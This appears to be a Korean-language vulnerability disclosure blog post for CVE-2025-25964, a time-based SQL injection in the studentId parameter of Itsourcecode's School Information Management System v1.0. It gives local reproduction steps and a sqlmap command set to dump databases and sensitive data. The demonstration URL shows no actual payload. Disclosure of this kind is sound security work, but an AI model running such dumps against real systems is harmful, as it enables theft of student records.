sudo-sakib/cve-2025-25964School Information Management System v1.0에서 발견된 치명적인 SQL 인젝션 취약점(CVE-2025-25964)
오늘날의 디지털 환경에서 SQL 인젝션(SQLi)은 웹 애플리케이션에서 발견되는 가장 일반적이고 위험한 취약점 중 하나로 남아 있습니다. 이 블로그 게시물은 Itsourcecode에서 개발한 School Information Management System v1.0에서 발견된 심각한 SQL 인젝션 취약점(CVE-2025-25964)에 대해 다룹니다. 이 취약점으로 인해 원격 공격자가 시스템을 악용하여 잠재적으로 민감한 정보가 유출될 수 있습니다.
CVE ID: CVE-2025-25964
취약점 유형: SQL 인젝션(SQLi)
영향받는 제품: Student Information Management System - v1.0
영향받는 구성 요소: /columbans/admin/modules/student/index.php의 studentId 매개변수
공격 유형: 원격
심각도: 높음
발견자: Sakib Shaikh
영향을 입증하려면 다음 단계별 지침을 따르세요:
취약한 애플리케이션 설정: 로컬 서버에 School Information Management System v1.0을 설치하고 구성합니다.
로그인: Itsourecode가 제공한 자격 증명으로 로그인합니다.
취약한 엔드포인트 접근:
http://localhost/columbans/admin/modules/student/index.php?view=view&studentId=20004207
애플리케이션 응답 확인: 페이지 로드에 10초 이상 걸리면 SQL 인젝션 취약점이 확인된 것입니다. 이는 백엔드 데이터베이스가 주입된 SQL 쿼리를 실행하고 있음을 증명합니다.
SQLMap을 사용한 자동화된 악용:
python sqlmap.py -u "http://localhost/columbans/admin/modules/student/index.php?view=view&studentId=20004207" \
--cookie="PHPSESSID=your_cookie_here" --risk 3 --level 3 --dbs --technique=T --dump --no-cast
이 명령은 시스템에서 데이터베이스 이름, 테이블 및 민감한 정보를 추출하려고 시도합니다.
이 문제는 index.php 파일의 studentId 매개변수에 대한 부적절한 입력 검증(샌니타이징)으로 인해 발생합니다. 공격자가 studentId 매개변수를 악성 SQL 페이로드로 변조하면 애플리케이션이 적절한 검증 없이 입력을 처리하여 SQL 인젝션으로 이어집니다.